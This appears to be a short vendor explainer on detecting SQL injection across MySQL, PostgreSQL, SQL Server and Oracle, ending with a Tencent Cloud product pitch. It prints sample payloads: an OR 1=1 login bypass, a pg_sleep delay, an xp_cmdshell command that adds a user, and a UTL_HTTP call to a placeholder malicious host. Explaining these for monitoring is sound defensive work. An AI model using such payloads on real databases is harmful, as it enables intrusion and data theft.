SQL injection monitoring varies across different database types due to differences in syntax, query structures, and logging mechanisms. Here’s a breakdown with examples:
MySQL:
UNION SELECT, OR 1=1, or -- comments to bypass authentication.UNION clauses or excessive LIKE operations.SELECT * FROM users WHERE username = 'admin' OR 1=1 --' is a classic MySQL injection attempt.PostgreSQL:
pg_sleep() for time-based attacks or COPY commands for data exfiltration.SELECT * FROM users WHERE username = 'admin' AND (SELECT pg_sleep(5)) is a time-based attack.Microsoft SQL Server:
xp_cmdshell for command execution or WAITFOR DELAY for time-based attacks.EXEC xp_cmdshell('net user hacker password /add') is a dangerous injection.Oracle:
UTL_HTTP for network access or DBMS_SCHEDULER for job manipulation.SELECT * FROM users WHERE username = 'admin' AND UTL_HTTP.request('http://malicious.site') IS NOT NULL is an exfiltration attempt.Key differences in monitoring:
xp_cmdshell in SQL Server vs. UTL_HTTP in Oracle).Tencent Cloud Recommendation: Use Tencent Cloud Database Security services, which provide multi-database SQL injection detection, anomaly analysis, and real-time alerts.